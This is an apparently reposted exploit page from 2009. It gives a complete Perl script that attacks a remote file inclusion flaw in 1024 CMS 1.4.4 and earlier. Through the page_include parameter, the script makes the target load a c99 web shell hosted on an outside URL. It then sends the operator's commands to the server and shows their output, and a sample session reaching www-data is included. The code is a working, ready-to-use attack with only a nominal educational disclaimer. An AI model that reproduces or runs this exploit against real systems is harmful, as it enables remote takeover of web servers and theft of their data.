|
1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit
|
|
来源：http://www.hack0wn.com/ 作者：JosS 发布时间：2009-02-09
|
|
#!/usr/bin/perl
####################################################################
# 1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit
# download: http://www.trebledesigns.com/1024cms.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" allow_url_include = On && register_globals = On
#
# RFI vuln!: [/themes/default/layouts/standard.php]
# <?php
# if($page_ck['custom'] == 'N' || isset($page_include)) {
# if(!isset($page_include)) include("./pages/".$page."/default/content.php");
# else include($page_include);
# } else {
# ...
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
# Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}
&clear();
sub banner {
&clear();
print "[x] 1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit\n";
print "[x] Written By JosS\n";
print "[x] sys-project[at]hotmail[dot]com\n\n";
print "[+] Usage:\n";
print "[+] $0 -vuln \"web+path\" -shell \"shell\"\n";
print "[+] eX: $0 -vuln \"http://www.hack0wn.com/test/\" -shell \"http://hack0wn.com/c99.txt?\"\n\n";
exit();
}
my $options = GetOptions (
'help!' => \$help,
'vuln=s' => \$vuln,
'shell=s' => \$shell
);
&banner unless ($vuln);
&banner unless ($shell);
&banner if $banner eq 1;
chomp($vuln);
chomp($shell);
while (){
print "[shell]:~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit" || $cmd eq "quit") {
exit 0;
}
my $ua = LWP::UserAgent->new;
$iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
chomp($iny);
my $own = $vuln . "/themes/default/layouts/standard.php?page_include=" . $shell . $iny;
chomp($own);
my $req = HTTP::Request->new(GET => $own);
my $res = $ua->request($req);
my $con = $res->content;
if ($res->is_success){
print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
}
else
{
print "[p0c] Exploit failed\n";
exit(1);
}
}
# __h0__
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
|
|
 |
|
推荐广告 |
|
|
|
|
|
